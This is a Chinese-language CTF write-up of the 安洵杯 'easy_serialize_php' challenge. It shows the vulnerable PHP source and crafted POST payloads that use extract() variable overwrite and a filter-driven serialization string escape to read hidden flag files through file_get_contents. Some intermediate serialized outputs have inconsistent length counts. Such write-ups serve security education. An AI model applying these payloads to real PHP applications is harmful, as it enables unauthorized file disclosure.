[安洵杯 ]easy_serialize_php

先看源码吧

<?php
 
$function = @$_GET['f'];
 
function filter($img){//是一个过滤器,把符合filter_arr里面的字符替换为空(满足字符串逃逸的条件)
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
 
 
if($_SESSION){
    unset($_SESSION);//把$_SESSION重置为空
}
 
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
 
extract($_POST);//这里就用了变量覆盖的知识
 
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}
 
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
 
$serialize_info = filter(serialize($_SESSION));//把序列化后的$_SESSION用filter函数过滤
 
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){//ta没骗人,确实能找到一些东西
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

这里注意extract($_POST);

就是将post的内容作为这个函数的参数。

然后就是变量覆盖。如果post传参为_SESSION[flag]=aaa,那么$_SESSION["user"]和$_SESSION["function"]的值都会被覆盖。

至于为什么post要传_SESSION[flag]=aaa而不是$_SESSION[flag]=aaa,是因为_SESSION是变量名,如果传$_SESSION,那么就会失效。

先传参phpinfo看看吧,发现d0g3_f1ag.php文件,意思是页面底部加载文件,即require()。

应该是通过最后一个语句拿到内容。

else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

对文件名有一次解码所以要对其进行一次base64编码

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));

只能让img_path为空,并把guest_img.png逃逸出去。

 因为我们要让img的内容为d0g3_f1ag.phpbase64编码后的字符串,所以要传_SESSION[img]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

但我们得到的是

因为在变量覆盖后面,又重新给$_SESSION[img]赋值了,所以这个时候就要使用filter函数了,

如果我们传的是_SESSION[imgphp]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

那么得到的是

a:2:{s:6:"img";s:39:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

这里就有字符串逃逸的意思了

什么意思呢?

就是把前面的"img";s:39:"当成数组名,后面的数组就变成img值为我们要读取的文件了,这里有个细节问题,这里img";s:39:是十个字符,前面却是s:6,怎么变成10呢?那就多转换几个比如改成imgphpflag

这样可以吗?

_SESSION[imgphpflag]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

试了一下不行,什么原因咧

又是一个细节,我们刚刚输入的序列化结果,前面a:2意思是要俩数组,中间缺一个元素

简单,直接再后面加上s:3:"123"来构造。

_SESSION[imgphpflag]=;s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

得到

a:2:{s:10:"img";s:50:";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

再序列化看看

应该没问题了,来到页面,看页面源代码

这好办一样的操作就是把img的值换成d0g3_fllllllag

_SESSION[imgphpflag]=;s:3:"123";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}